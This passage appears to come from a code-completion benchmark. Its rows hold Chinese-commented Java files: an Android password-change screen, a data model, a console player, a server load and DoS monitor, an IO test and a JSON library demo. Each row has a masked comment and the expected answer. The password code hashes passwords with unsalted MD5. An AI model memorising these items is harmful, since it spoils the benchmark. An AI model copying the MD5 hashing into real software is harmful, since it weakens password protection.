void afterTextChanged(Editable s) { } }); mNewPsw.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { //格式判断 if (s.length() < 6) { Wrong_new.setText("不能少于6位"); Wrong_new.setVisibility(View.VISIBLE); NEWWrongtype = true; } else { Wrong_new.setVisibility(View.GONE); NEWWrongtype = false; } } @Override public void afterTextChanged(Editable s) { } }); //返回键 mBack.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { finish(); } }); //提交更改 mChangePsw.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (PswEmpty()) { MyToast.MyToastShow(ChangePassActivity.this, "请填写完整的信息!"); } else if (NEWWrongtype || OLDWrongtype) { MyToast.MyToastShow(ChangePassActivity.this, "密码格式不正确!"); } else if (SameOldNew()) { MyToast.MyToastShow(ChangePassActivity.this, "新旧密码不能相同"); } else { //change pass DoChange(AnalysisUtils.readloginUserName(ChangePassActivity.this), MD5Utils.ToMD5(mNewPsw.getText().toString().trim()), MD5Utils.ToMD5(mOldPsw.getText().toString().trim())); } } }); } private void DoChange(String name, String psw, String oldpsw) { CommonRequest request = new CommonRequest(); //设置更新用户信息码 request.setRequestCode("6"); //设置 <SUF> request.addRequestParam("account", name); request.addRequestParam("oldpass", oldpsw); request.addRequestParam("newpass", psw); sendHttpPostRequst(Constant.URL_Login, request, new ResponseHandle() { @Override public void success(CommonResponse response) { doSuccess(); } @Override public void failure(String failCode) { doFail(failCode); } }); } private void doFail(String fialCode) { switch (fialCode) { case "10": MyToast.MyToastShow(ChangePassActivity.this, "遗憾,修改失败"); break; case "01": MyToast.MyToastShow(ChangePassActivity.this, "遗憾,旧密码错误"); break; } } private void doSuccess() { AlertDialog.Builder builder = new AlertDialog.Builder(ChangePassActivity.this); builder.setTitle("修改成功"). setMessage("请重新登录"). setPositiveButton("确定", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { //清除登录状态 AnalysisUtils.cleanlogin(ChangePassActivity.this); Intent intent = new Intent(ChangePassActivity.this, MainActivity.class); startActivity(intent); finish(); } }).setCancelable(false).show(); } //旧密码和新密码是否相同 private boolean SameOldNew() { return mOldPsw.getText().toString().equals(mNewPsw.getText().toString()); } //是否为空 private boolean PswEmpty() { if (mOldPsw.getText().toString().isEmpty()) { return true; } else return mNewPsw.getText().toString().isEmpty(); } }
0
1,302
13
1,494
14
1,610
13
1,494
14
1,846
24
false
false
false
false
false
true
57905_5
package com.property.sys.model; import java.io.Serializable; /** * 文章表 */ public class Article implements Serializable{ private static final long serialVersionUID = 3870996444951119364L; public static final String TYPE_COMMUNITY_ACTIVITIES="活动"; public static final String TYPE_COMMUNITY_ISSUES="议题"; public static final String TYPE_VOTE="投票"; public static final String TYPE_COMPLAINT="投诉"; public static final String TYPE_CONSULT="咨询"; public static final String TYPE_NOTICE="公告"; private Integer id; private String type;//类型(社区活动、社区信息、投票、投诉、咨询) private String title;//标题 private String content;//内容 private Integer userId;//用户id private String author;//发布人 private String publishDate;//发布时间 private long visitors;//访问人数 public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public Integer getUserId() { return userId; } public void setUserId(Integer userId) { this.userId = userId; } public String getAuthor() { return author; } public void setAuthor(String author) { this.author = author; } public long getVisitors() { return visitors; } public void setVisitors(long visitors) { this.visitors = visitors; } public String getPublishDate() { return publishDate; } public void setPublishDate(String publishDate) { this.publishDate = publishDate; } }
336Project/property-sys
property-sys/src/com/property/sys/model/Article.java
554
//发布人
line_comment
zh-cn
package com.property.sys.model; import java.io.Serializable; /** * 文章表 */ public class Article implements Serializable{ private static final long serialVersionUID = 3870996444951119364L; public static final String TYPE_COMMUNITY_ACTIVITIES="活动"; public static final String TYPE_COMMUNITY_ISSUES="议题"; public static final String TYPE_VOTE="投票"; public static final String TYPE_COMPLAINT="投诉"; public static final String TYPE_CONSULT="咨询"; public static final String TYPE_NOTICE="公告"; private Integer id; private String type;//类型(社区活动、社区信息、投票、投诉、咨询) private String title;//标题 private String content;//内容 private Integer userId;//用户id private String author;//发布 <SUF> private String publishDate;//发布时间 private long visitors;//访问人数 public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public Integer getUserId() { return userId; } public void setUserId(Integer userId) { this.userId = userId; } public String getAuthor() { return author; } public void setAuthor(String author) { this.author = author; } public long getVisitors() { return visitors; } public void setVisitors(long visitors) { this.visitors = visitors; } public String getPublishDate() { return publishDate; } public void setPublishDate(String publishDate) { this.publishDate = publishDate; } }
0
407
4
552
4
524
4
552
4
646
5
false
false
false
false
false
true
21776_7
import utils.Constants; import java.io.*; public class Reload { private final static String app_dir=System.getProperty("user.dir"); /** * 输出字符文件序列 * @return */ public static Boolean play() { //Console c = System.console(); boolean result=true; try{ new ProcessBuilder("cmd", "/c", "mode con cols=1920 lines=1080").inheritIO().start().waitFor(); } catch (Exception e){ result = false; e.printStackTrace(); } // File file = new File(app_dir+"\\"+Constants.txt_dir); if(file.isDirectory() && file.exists()) { File[] files = file.listFiles(); if (files != null && files.length > 0) { for(int i=0;i<files.length;i++){ try { // //清屏,防抖动 new ProcessBuilder("cmd", "/c", "cls") // 将 ProcessBuilder 对象的输出管道和 Java 的进程进行关联,这个函数的返回值也是一个 // ProcessBuilder .inheritIO() // 开始执行 ProcessBuilder 中的命令 .start() // 等待 ProcessBuilder 中的清屏命令执行完毕 // 如果不等待则会出现清屏代码后面的输出被清掉的情况 .waitFor(); // 清屏命令 File file1 = new File(app_dir+"\\"+Constants.txt_dir+"\\"+(i+1)+".txt"); InputStreamReader inputStreamReader = new InputStreamReader(new FileInputStream(file1)); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); String line; while((line=bufferedReader.readLine())!=null){ //c.writer().println(line); System.out.println(line); } Thread.sleep(40); } catch (Exception e) { result = false; e.printStackTrace(); } } } } return result; } }
343701675/video2text
src/Reload.java
453
// 如果不等待则会出现清屏代码后面的输出被清掉的情况
line_comment
zh-cn
import utils.Constants; import java.io.*; public class Reload { private final static String app_dir=System.getProperty("user.dir"); /** * 输出字符文件序列 * @return */ public static Boolean play() { //Console c = System.console(); boolean result=true; try{ new ProcessBuilder("cmd", "/c", "mode con cols=1920 lines=1080").inheritIO().start().waitFor(); } catch (Exception e){ result = false; e.printStackTrace(); } // File file = new File(app_dir+"\\"+Constants.txt_dir); if(file.isDirectory() && file.exists()) { File[] files = file.listFiles(); if (files != null && files.length > 0) { for(int i=0;i<files.length;i++){ try { // //清屏,防抖动 new ProcessBuilder("cmd", "/c", "cls") // 将 ProcessBuilder 对象的输出管道和 Java 的进程进行关联,这个函数的返回值也是一个 // ProcessBuilder .inheritIO() // 开始执行 ProcessBuilder 中的命令 .start() // 等待 ProcessBuilder 中的清屏命令执行完毕 // 如果 <SUF> .waitFor(); // 清屏命令 File file1 = new File(app_dir+"\\"+Constants.txt_dir+"\\"+(i+1)+".txt"); InputStreamReader inputStreamReader = new InputStreamReader(new FileInputStream(file1)); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); String line; while((line=bufferedReader.readLine())!=null){ //c.writer().println(line); System.out.println(line); } Thread.sleep(40); } catch (Exception e) { result = false; e.printStackTrace(); } } } } return result; } }
0
415
15
453
18
493
15
453
18
610
34
false
false
false
false
false
true
26167_1
package chapter04; public class Java02_object { public static void main(String[] args) { //TODO 面向对象 //类:动物 //对象:猫,狗 Animal a1 = new Animal(); a1.type ="狗"; a1.name ="旺财"; a1.run() ; Animal a2 = new Animal(); a2.type ="猫"; a2.name ="罗小黑"; a2.run() ; } } class Animal{ String type; String name; void run(){ System.out.println(type+ " " + name + "跑开了"); } }
3471437753/Java
src/chapter04/Java02_object.java
163
//类:动物
line_comment
zh-cn
package chapter04; public class Java02_object { public static void main(String[] args) { //TODO 面向对象 //类: <SUF> //对象:猫,狗 Animal a1 = new Animal(); a1.type ="狗"; a1.name ="旺财"; a1.run() ; Animal a2 = new Animal(); a2.type ="猫"; a2.name ="罗小黑"; a2.run() ; } } class Animal{ String type; String name; void run(){ System.out.println(type+ " " + name + "跑开了"); } }
0
140
5
160
6
168
5
160
6
196
6
false
false
false
false
false
true
66711_4
/* * Copyright [2016-2026] wangcheng(wantedonline@outlook.com) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package cn.wantedonline.puppy.httpserver.system; import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; import cn.wantedonline.puppy.httpserver.common.HttpServerConfig; import cn.wantedonline.puppy.spring.annotation.AfterBootstrap; import cn.wantedonline.puppy.spring.annotation.Config; import cn.wantedonline.puppy.util.Log; import cn.wantedonline.puppy.util.concurrent.ConcurrentUtil; import io.netty.channel.nio.NioEventLoopGroup; import org.slf4j.Logger; import org.slf4j.MDC; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @Service public class SystemChecker { private static final Logger log = Log.getLogger(SystemMonitor.class); private static SystemChecker INSTANCE; private SystemChecker() { INSTANCE = this; } public static SystemChecker getInstance() { return INSTANCE; } @Autowired protected HttpServerConfig config; private static volatile boolean denialOfService = false; /** 快要接近denialOfService了,进一步退化,参数是: threadPoolQueueCountLimit - 500 */ private static volatile boolean denialOfServiceAlmost = false; /** 系统最重要的线程池的监控,要很实时 */ @Config private int dosMonitorCheckSec = 1; /** 垃圾回收监控,建议5分钟监控一次(因为是总回收时间的对比) */ @Config private int gcMonitorSec = 5 * 60; private static volatile boolean lastTestDenialOfService = false; @Config(resetable = true) private double loadMonitorErrorThreshold = ConcurrentUtil.CORE_PROCESSOR_NUM; /** 系统负载监控,建议半分钟监控一次(因为是平均负载) */ @Config private int loadMonitorSec = 1 * 30; /** 数值的界定,请参考http://blog.csdn.net/marising/article/details/5182771 */ @Config(resetable = true) private double loadMonitorWarnThreshold = ConcurrentUtil.CORE_PROCESSOR_NUM * 0.7; /** 线程cpu时间监控,建议每半分钟监控一次 */ @Config private int threadCpuTimeMonitorSec = 1 * 30; @Config(resetable = true) private int threadMonitorQueueThreshold = 1000; /** 线程池监控,建议每5秒钟监控一次(因为每时每刻的queue的数量都可能在大幅度变化) */ @Config private int threadMonitorSec = 5; /** log线程池监控,要严防队列过大导致IO过高和内存溢出 */ @Config private int logMonitorCheckSec = 10; @Config(resetable = true) private int logMonitorLimit = 20000; private static volatile boolean logEnabled = true; private static volatile boolean logAlreadyExceeded = false; /** 为了防止启动时候突然飙高而报,启动时候第一次不报,可以防止服务器启动时突然的堆积日志把服务器搞崩溃 */ private static volatile boolean logExceededFirstTime = true; /** 线程池允许等待的线程数 */ @Config(resetable = true) private int threadPoolQueueCountLimit = 30000; @AfterBootstrap protected void init() { SystemMonitor.initGarbageCollectMonitor(gcMonitorSec); SystemMonitor.initLoadAverageMonitor(loadMonitorSec); SystemMonitor.initThreadCpuTimeMonitor(threadCpuTimeMonitorSec); SystemMonitor.initThreadPoolMonitor(threadMonitorSec, threadMonitorQueueThreshold); initDenialOfServiceMonitor(); initLogMonitor(); } public void initDenialOfServiceMonitor() { if (dosMonitorCheckSec > 0) { log.info("DenialOfServiceMonitor ON, interval:{}sec, Worker EventLoop Size:{}", dosMonitorCheckSec, config.getWorkerEventLoopGroup().executorCount()); ConcurrentUtil.getWatchdog().scheduleWithFixedDelay(new Runnable() { /** * check denialOfServiceAlmost */ private boolean check2(NioEventLoopGroup workerEventLoop) { int _threadPoolQueueCountLimit = threadPoolQueueCountLimit - 500;// 几乎要拒绝服务的等待队列阀值 //TODO:如何实现DOS防范 /* int activeCount = executor.getActiveCount(); int queueCount = executor.getQueue().size(); // 等待队列的大小 int largestPoolSize = executor.getLargestPoolSize(); int atLeastReamin = largestPoolSize <= HttpServerConfig.PROCESSOR_NUM ? 1 : HttpServerConfig.PROCESSOR_NUM; // 最少要剩余的空闲线程数 if (activeCount > 0 && activeCount + atLeastReamin >= largestPoolSize) { ConcurrentUtil.threadSleep(2000); // 小小暂停一下,防止是那种突然一下子冲过来的情况而报DOS activeCount = executor.getActiveCount(); int currQueueCount = executor.getQueue().size(); // 等待队列的大小,如果持续增大,就说明肯定有问题,需要DOS if (activeCount > 0 && activeCount + atLeastReamin >= largestPoolSize && currQueueCount > queueCount && currQueueCount > _threadPoolQueueCountLimit) { denialOfServiceAlmost = true; return true; } } */ return false; } /** * check denialOfService */ private boolean check(NioEventLoopGroup workerEventLoop) { /* int activeCount = executor.getActiveCount(); int queueCount = executor.getQueue().size(); // 等待队列的大小 int largestPoolSize = executor.getLargestPoolSize(); int atLeastReamin = largestPoolSize <= HttpServerConfig.PROCESSOR_NUM ? 1 : HttpServerConfig.PROCESSOR_NUM; // 最少要剩余的空闲线程数 if (activeCount > 0 && activeCount + atLeastReamin >= largestPoolSize) { String pipelineInfo = SystemInfo.getThreadsDetailInfo("PIPELINE", true, 20); // 先打印好 ConcurrentUtil.threadSleep(2000); // 小小暂停一下,防止是那种突然一下子冲过来的情况而报DOS activeCount = executor.getActiveCount(); int currQueueCount = executor.getQueue().size(); // 等待队列的大小,如果持续增大,就说明肯定有问题,需要DOS if (activeCount > 0 && activeCount + atLeastReamin >= largestPoolSize && currQueueCount > queueCount && currQueueCount > threadPoolQueueCountLimit) { // 打印好了,线程池仍然大量占用,就发出报警邮件 if (!lastTestDenialOfService) { MDC.put("mailTitle", "DenialOfService"); log.error("DENIAL OF SERVICE, ACTIVE_SIZE:{}, WAITTING_QUEUE_SIZE:{}, RUNNING PIPELINE:\n{}\n\n", activeCount, currQueueCount, pipelineInfo); } denialOfService = true; lastTestDenialOfService = true; denialOfServiceAlmost = true; return true; } } */ return false; } @Override public void run() { boolean r = check(config.getWorkerEventLoopGroup()); boolean r1 = check(config.getWorkerEventLoopGroup()); if (!r && !r1) { denialOfService = false; lastTestDenialOfService = false; } boolean r2 = check2(config.getWorkerEventLoopGroup()); boolean r21 = check2(config.getWorkerEventLoopGroup()); if (!r2 && !r21) { denialOfServiceAlmost = false; } } }, dosMonitorCheckSec * 5, dosMonitorCheckSec, TimeUnit.SECONDS);// httpServer刚启动时,很有可能很多请求冲进来,先不拒绝服务,所以暂定5s后再开始定时 } } public void initLogMonitor() { if (logMonitorCheckSec > 0) { final ThreadPoolExecutor logExecutor = (ThreadPoolExecutor) ConcurrentUtil.getLogExecutor(); log.info("LogMonitor ON, interval:{}sec, logExecutorSize:{}", logMonitorCheckSec, logExecutor.getQueue().size()); ConcurrentUtil.getWatchdog().scheduleWithFixedDelay(new Runnable() { @Override public void run() { boolean r = isLogExceeded(logExecutor); if (!r) { logEnabled = true; logAlreadyExceeded = false; } } /** * 检查日志线程池队列任务数 * * @return 如果超过限值返回true,没超过返回false */ private boolean isLogExceeded(ThreadPoolExecutor executor) { int queueCount = executor.getQueue().size(); // 如果队列的log超过限制,就临时把日志功能关闭 if (queueCount > logMonitorLimit) { if (!logAlreadyExceeded) { // 保证超过限定值之后只报出一次,如果回退到限定值内,再超过才再报 if (logExceededFirstTime) { logExceededFirstTime = false; } else { MDC.put("mailTitle", "TOO MANY LOGS"); log.error("TOO MANY LOGS,WAITTING_QUEUE_SIZE:{}\n", queueCount); } } logEnabled = false; logAlreadyExceeded = true; return true; } return false; } }, logMonitorCheckSec, logMonitorCheckSec, TimeUnit.SECONDS); } } /** * 是否达到拒绝服务的阀值 */ public static boolean isDenialOfService() { return denialOfService; } /** * 快要接近denialOfService了,进一步退化,参数是: threadPoolQueueCountLimit - 500 */ public static boolean isDenialOfServiceAlmost() { return denialOfServiceAlmost; } /** * 如果日志功能打开了,才记录日志 */ public static boolean isLogEnabled() { return logEnabled; } public double getLoadMonitorErrorThreshold() { return loadMonitorErrorThreshold; } public double getLoadMonitorWarnThreshold() { return loadMonitorWarnThreshold; } }
34benma/Puppy
src/main/java/cn/wantedonline/puppy/httpserver/system/SystemChecker.java
2,577
/** 系统负载监控,建议半分钟监控一次(因为是平均负载) */
block_comment
zh-cn
/* * Copyright [2016-2026] wangcheng(wantedonline@outlook.com) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package cn.wantedonline.puppy.httpserver.system; import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; import cn.wantedonline.puppy.httpserver.common.HttpServerConfig; import cn.wantedonline.puppy.spring.annotation.AfterBootstrap; import cn.wantedonline.puppy.spring.annotation.Config; import cn.wantedonline.puppy.util.Log; import cn.wantedonline.puppy.util.concurrent.ConcurrentUtil; import io.netty.channel.nio.NioEventLoopGroup; import org.slf4j.Logger; import org.slf4j.MDC; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @Service public class SystemChecker { private static final Logger log = Log.getLogger(SystemMonitor.class); private static SystemChecker INSTANCE; private SystemChecker() { INSTANCE = this; } public static SystemChecker getInstance() { return INSTANCE; } @Autowired protected HttpServerConfig config; private static volatile boolean denialOfService = false; /** 快要接近denialOfService了,进一步退化,参数是: threadPoolQueueCountLimit - 500 */ private static volatile boolean denialOfServiceAlmost = false; /** 系统最重要的线程池的监控,要很实时 */ @Config private int dosMonitorCheckSec = 1; /** 垃圾回收监控,建议5分钟监控一次(因为是总回收时间的对比) */ @Config private int gcMonitorSec = 5 * 60; private static volatile boolean lastTestDenialOfService = false; @Config(resetable = true) private double loadMonitorErrorThreshold = ConcurrentUtil.CORE_PROCESSOR_NUM; /** 系统负 <SUF>*/ @Config private int loadMonitorSec = 1 * 30; /** 数值的界定,请参考http://blog.csdn.net/marising/article/details/5182771 */ @Config(resetable = true) private double loadMonitorWarnThreshold = ConcurrentUtil.CORE_PROCESSOR_NUM * 0.7; /** 线程cpu时间监控,建议每半分钟监控一次 */ @Config private int threadCpuTimeMonitorSec = 1 * 30; @Config(resetable = true) private int threadMonitorQueueThreshold = 1000; /** 线程池监控,建议每5秒钟监控一次(因为每时每刻的queue的数量都可能在大幅度变化) */ @Config private int threadMonitorSec = 5; /** log线程池监控,要严防队列过大导致IO过高和内存溢出 */ @Config private int logMonitorCheckSec = 10; @Config(resetable = true) private int logMonitorLimit = 20000; private static volatile boolean logEnabled = true; private static volatile boolean logAlreadyExceeded = false; /** 为了防止启动时候突然飙高而报,启动时候第一次不报,可以防止服务器启动时突然的堆积日志把服务器搞崩溃 */ private static volatile boolean logExceededFirstTime = true; /** 线程池允许等待的线程数 */ @Config(resetable = true) private int threadPoolQueueCountLimit = 30000; @AfterBootstrap protected void init() { SystemMonitor.initGarbageCollectMonitor(gcMonitorSec); SystemMonitor.initLoadAverageMonitor(loadMonitorSec); SystemMonitor.initThreadCpuTimeMonitor(threadCpuTimeMonitorSec); SystemMonitor.initThreadPoolMonitor(threadMonitorSec, threadMonitorQueueThreshold); initDenialOfServiceMonitor(); initLogMonitor(); } public void initDenialOfServiceMonitor() { if (dosMonitorCheckSec > 0) { log.info("DenialOfServiceMonitor ON, interval:{}sec, Worker EventLoop Size:{}", dosMonitorCheckSec, config.getWorkerEventLoopGroup().executorCount()); ConcurrentUtil.getWatchdog().scheduleWithFixedDelay(new Runnable() { /** * check denialOfServiceAlmost */ private boolean check2(NioEventLoopGroup workerEventLoop) { int _threadPoolQueueCountLimit = threadPoolQueueCountLimit - 500;// 几乎要拒绝服务的等待队列阀值 //TODO:如何实现DOS防范 /* int activeCount = executor.getActiveCount(); int queueCount = executor.getQueue().size(); // 等待队列的大小 int largestPoolSize = executor.getLargestPoolSize(); int atLeastReamin = largestPoolSize <= HttpServerConfig.PROCESSOR_NUM ? 1 : HttpServerConfig.PROCESSOR_NUM; // 最少要剩余的空闲线程数 if (activeCount > 0 && activeCount + atLeastReamin >= largestPoolSize) { ConcurrentUtil.threadSleep(2000); // 小小暂停一下,防止是那种突然一下子冲过来的情况而报DOS activeCount = executor.getActiveCount(); int currQueueCount = executor.getQueue().size(); // 等待队列的大小,如果持续增大,就说明肯定有问题,需要DOS if (activeCount > 0 && activeCount + atLeastReamin >= largestPoolSize && currQueueCount > queueCount && currQueueCount > _threadPoolQueueCountLimit) { denialOfServiceAlmost = true; return true; } } */ return false; } /** * check denialOfService */ private boolean check(NioEventLoopGroup workerEventLoop) { /* int activeCount = executor.getActiveCount(); int queueCount = executor.getQueue().size(); // 等待队列的大小 int largestPoolSize = executor.getLargestPoolSize(); int atLeastReamin = largestPoolSize <= HttpServerConfig.PROCESSOR_NUM ? 1 : HttpServerConfig.PROCESSOR_NUM; // 最少要剩余的空闲线程数 if (activeCount > 0 && activeCount + atLeastReamin >= largestPoolSize) { String pipelineInfo = SystemInfo.getThreadsDetailInfo("PIPELINE", true, 20); // 先打印好 ConcurrentUtil.threadSleep(2000); // 小小暂停一下,防止是那种突然一下子冲过来的情况而报DOS activeCount = executor.getActiveCount(); int currQueueCount = executor.getQueue().size(); // 等待队列的大小,如果持续增大,就说明肯定有问题,需要DOS if (activeCount > 0 && activeCount + atLeastReamin >= largestPoolSize && currQueueCount > queueCount && currQueueCount > threadPoolQueueCountLimit) { // 打印好了,线程池仍然大量占用,就发出报警邮件 if (!lastTestDenialOfService) { MDC.put("mailTitle", "DenialOfService"); log.error("DENIAL OF SERVICE, ACTIVE_SIZE:{}, WAITTING_QUEUE_SIZE:{}, RUNNING PIPELINE:\n{}\n\n", activeCount, currQueueCount, pipelineInfo); } denialOfService = true; lastTestDenialOfService = true; denialOfServiceAlmost = true; return true; } } */ return false; } @Override public void run() { boolean r = check(config.getWorkerEventLoopGroup()); boolean r1 = check(config.getWorkerEventLoopGroup()); if (!r && !r1) { denialOfService = false; lastTestDenialOfService = false; } boolean r2 = check2(config.getWorkerEventLoopGroup()); boolean r21 = check2(config.getWorkerEventLoopGroup()); if (!r2 && !r21) { denialOfServiceAlmost = false; } } }, dosMonitorCheckSec * 5, dosMonitorCheckSec, TimeUnit.SECONDS);// httpServer刚启动时,很有可能很多请求冲进来,先不拒绝服务,所以暂定5s后再开始定时 } } public void initLogMonitor() { if (logMonitorCheckSec > 0) { final ThreadPoolExecutor logExecutor = (ThreadPoolExecutor) ConcurrentUtil.getLogExecutor(); log.info("LogMonitor ON, interval:{}sec, logExecutorSize:{}", logMonitorCheckSec, logExecutor.getQueue().size()); ConcurrentUtil.getWatchdog().scheduleWithFixedDelay(new Runnable() { @Override public void run() { boolean r = isLogExceeded(logExecutor); if (!r) { logEnabled = true; logAlreadyExceeded = false; } } /** * 检查日志线程池队列任务数 * * @return 如果超过限值返回true,没超过返回false */ private boolean isLogExceeded(ThreadPoolExecutor executor) { int queueCount = executor.getQueue().size(); // 如果队列的log超过限制,就临时把日志功能关闭 if (queueCount > logMonitorLimit) { if (!logAlreadyExceeded) { // 保证超过限定值之后只报出一次,如果回退到限定值内,再超过才再报 if (logExceededFirstTime) { logExceededFirstTime = false; } else { MDC.put("mailTitle", "TOO MANY LOGS"); log.error("TOO MANY LOGS,WAITTING_QUEUE_SIZE:{}\n", queueCount); } } logEnabled = false; logAlreadyExceeded = true; return true; } return false; } }, logMonitorCheckSec, logMonitorCheckSec, TimeUnit.SECONDS); } } /** * 是否达到拒绝服务的阀值 */ public static boolean isDenialOfService() { return denialOfService; } /** * 快要接近denialOfService了,进一步退化,参数是: threadPoolQueueCountLimit - 500 */ public static boolean isDenialOfServiceAlmost() { return denialOfServiceAlmost; } /** * 如果日志功能打开了,才记录日志 */ public static boolean isLogEnabled() { return logEnabled; } public double getLoadMonitorErrorThreshold() { return loadMonitorErrorThreshold; } public double getLoadMonitorWarnThreshold() { return loadMonitorWarnThreshold; } }
0
2,428
19
2,577
23
2,627
17
2,577
23
3,515
44
false
false
false
false
false
true
22606_1
package IO; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.io.Writer; public class IOTest06 { /* * 文件字符流 输出流 Writer */ public static void main(String[] args) { //1、创建源 File file = new File("b.txt"); //2、选择流 Writer writer = null; //3、操作 Writer 字符输出流 try { writer = new FileWriter(file); String msg = "hello stxt 加油,冲刺!"; char[] data = msg.toCharArray(); //字符串--》字符数组 writer.write(data, 0, data.length); writer.flush(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } finally { if (null != writer) { try { writer.close(); } catch (IOException e) { e.printStackTrace(); } } } //4、关闭流 } }
3546514206/base
Java/_java_examples/src/main/java/IO/IOTest06.java
274
//1、创建源
line_comment
zh-cn
package IO; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.io.Writer; public class IOTest06 { /* * 文件字符流 输出流 Writer */ public static void main(String[] args) { //1、 <SUF> File file = new File("b.txt"); //2、选择流 Writer writer = null; //3、操作 Writer 字符输出流 try { writer = new FileWriter(file); String msg = "hello stxt 加油,冲刺!"; char[] data = msg.toCharArray(); //字符串--》字符数组 writer.write(data, 0, data.length); writer.flush(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } finally { if (null != writer) { try { writer.close(); } catch (IOException e) { e.printStackTrace(); } } } //4、关闭流 } }
0
231
6
274
6
268
6
274
6
352
7
false
false
false
false
false
true
22563_30
import cn.snailpad.easyjson.EasyJSONArray; import cn.snailpad.easyjson.EasyJSONBase; import cn.snailpad.easyjson.EasyJSONObject; import cn.snailpad.easyjson.FieldName; import static cn.snailpad.easyjson.EasyJSONBase.JSON_TYPE_ARRAY; import static cn.snailpad.easyjson.EasyJSONBase.JSON_TYPE_OBJECT; public class Lab { ///////////////////////////////////////////////////// // Java Bean类 // 用于展示EasyJSONBase.jsonEncode()和EasyJSONBase.jsonDecode()方法的使用 ///////////////////////////////////////////////////// public static class Data { // 访问属性必须指定为public public int id; public String name; // 如果使用EasyJSONBase.jsonDecode()方法,必须要有默认构造函数,或不能定义任何构造函数 public Data() { } public Data(int id, String name) { this.id = id; this.name = name; } } ///////////////////////////////////////////////////// // Java Bean类 // 用于展示重命名字段的使用 ///////////////////////////////////////////////////// public static class Data2 { // 访问属性必须指定为public public int id; // jsonEncode时,将字段name重命名为MyName @FieldName("MyName") public String name; public Data2(int id, String name) { this.id = id; this.name = name; } } public static void main(String[] args) throws Exception { ///////////////////////////////////////////////////// // 生成JSON字符串(对象)示例 ///////////////////////////////////////////////////// EasyJSONObject object1 = EasyJSONObject.generate("name", "Hello", "female", false); System.out.println(object1.toString()); // 输出: {"name":"Hello","female":false} // 添加字段age object1.put("age", 18); System.out.println(object1.toString()); // 输出: {"name":"Hello","female":false,"age":18} // 修改字段age(如果字段age不存在,则添加;如果已经存在,则修改) object1.put("age", 19); System.out.println(object1.toString()); // 输出: {"name":"Hello","female":false,"age":19} // 添加数组 object1.put("language", EasyJSONArray.generate("Chinese", "English", "French")); System.out.println(object1.toString()); // 输出: {"name":"Hello","female":false,"age":19,"language":["Chinese","English","French"]} // 上述JSON字符串也可以用一条语句直接生成 EasyJSONObject object2 = EasyJSONObject.generate( "name", "Hello", "female", false, "age", 19, "language", EasyJSONArray.generate("Chinese", "English", "French")); System.out.println(object2.toString()); // 输出: {"name":"Hello","female":false,"age":19,"language":["Chinese","English","French"]} ///////////////////////////////////////////////////// // 生成JSON字符串(数组) ///////////////////////////////////////////////////// EasyJSONArray array1 = EasyJSONArray.generate("Hello", 2, true, EasyJSONObject.generate("age", 18)); System.out.println(array1.toString()); // 输出: ["Hello",2,true,{"age":18}] // 共有4个元素,其中第1个为字符串,第2个为数字,第3个为布尔值,第4个为对象 // 在尾部添加一个元素 array1.put("World"); System.out.println(array1.toString()); // 输出: ["Hello",2,true,{"age":18},"World"] // 在尾部添加一个数组 array1.put(EasyJSONArray.generate("new", "old")); System.out.println(array1.toString()); // 输出: ["Hello",2,true,{"age":18},"World",["new","old"]] // 在尾部添加一个对象 array1.put(EasyJSONObject.generate("female", false)); System.out.println(array1.toString()); // 输出: ["Hello",2,true,{"age":18},"World",["new","old"],{"female":false}] ///////////////////////////////////////////////////// // 从JSON字符串解析回EasyJSONObject或EasyJSONArray // 解析JSON对象字符串 {"name":"Hello","female":false,"age":18} ///////////////////////////////////////////////////// String jsonStr1 = "{\"name\":\"Hello\",\"female\":false,\"age\":18}"; EasyJSONObject object3 = (EasyJSONObject) EasyJSONObject.parse(jsonStr1); String name = object3.getString("name"); // 值为 "Hello" int age = object3.getInt("age"); // 值为 18 ///////////////////////////////////////////////////// // 从JSON字符串解析回EasyJSONObject或EasyJSONArray // 解析JSON数组字符串 ["Hello",2,true,{"age":18},"World",["new","old"],{"female":false}] ///////////////////////////////////////////////////// String jsonStr2 = "[\"Hello\",2,true,{\"age\":18},\"World\",[\"new\",\"old\"],{\"female\":false}]"; EasyJSONArray array2 = (EasyJSONArray) EasyJSONArray.parse(jsonStr2); String str = array2.getString(0); System.out.println(str); // 输出: Hello int val = array2.getInt(1); System.out.println(val); // 输出: 2 boolean bool = array2.getBoolean(2); System.out.println(bool); // 输出: true EasyJSONObject object4 = array2.getObject(3); System.out.println(object4); // 输出: {"age":18} EasyJSONArray array3 = array2.getArray(5); System.out.println(array3); // 输出: ["new","old"] 